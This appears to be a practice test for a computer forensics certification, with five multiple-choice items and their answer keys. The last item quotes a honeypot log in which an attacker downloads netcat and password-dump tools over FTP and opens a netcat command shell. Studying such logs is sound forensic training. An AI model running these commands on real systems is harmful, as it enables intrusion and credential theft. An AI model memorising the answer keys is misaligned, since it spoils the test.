312-49v9 Free Practice Test

- (Topic 1)
Network forensics allows Investigators to inspect network traffic and logs to identify and locate the attack system Network forensics can reveal: (Select three answers)

1. A. Source of security incidents’ and network attacks
2. B. Path of the attack
3. C. Intrusion techniques used by attackers
4. D. Hardware configuration of the attacker's system

Correct Answer: ABC

- (Topic 1)
What is a first sector ("sector zero") of a hard disk?

1. A. Master boot record
2. B. System boot record
3. C. Secondary boot record
4. D. Hard disk boot record

Correct Answer: A

- (Topic 2)
What type of attack sends SYN requests to a target system with spoofed IP addresses?

1. A. SYN flood
2. B. Ping of death
3. C. Cross site scripting
4. D. Land

Correct Answer: A

- (Topic 3)
You are contracted to work as a computer forensics investigator for a regional bank that has four 30 TB storage area networks that store customer data. What method would be most efficient for you to acquire digital evidence from this network?

1. A. Make a bit-stream disk-to-disk file
2. B. Make a bit-stream disk-to-image file
3. C. Create a sparse data copy of a folder or file
4. D. Create a compressed copy of the file with DoubleSpace

Correct Answer: C

- (Topic 3)
The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.
"cmd1.exe /c open 213.116.251.162 >ftpcom" "cmd1.exe /c echo johna2k >>ftpcom" "cmd1.exe /c echo haxedj00
>>ftpcom" "cmd1.exe /c echo get nc.exe >>ftpcom" "cmd1.exe /c echo get pdump.exe >>ftpcom" "cmd1.exe /c echo get samdump.dll >>ftpcom" "cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe" What can you infer from the exploit given?

1. A. It is a local exploit where the attacker logs in using username johna2k
2. B. There are two attackers on the system – johna2k and haxedj00
3. C. The attack is a remote exploit and the hacker downloads three files
4. D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C
The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.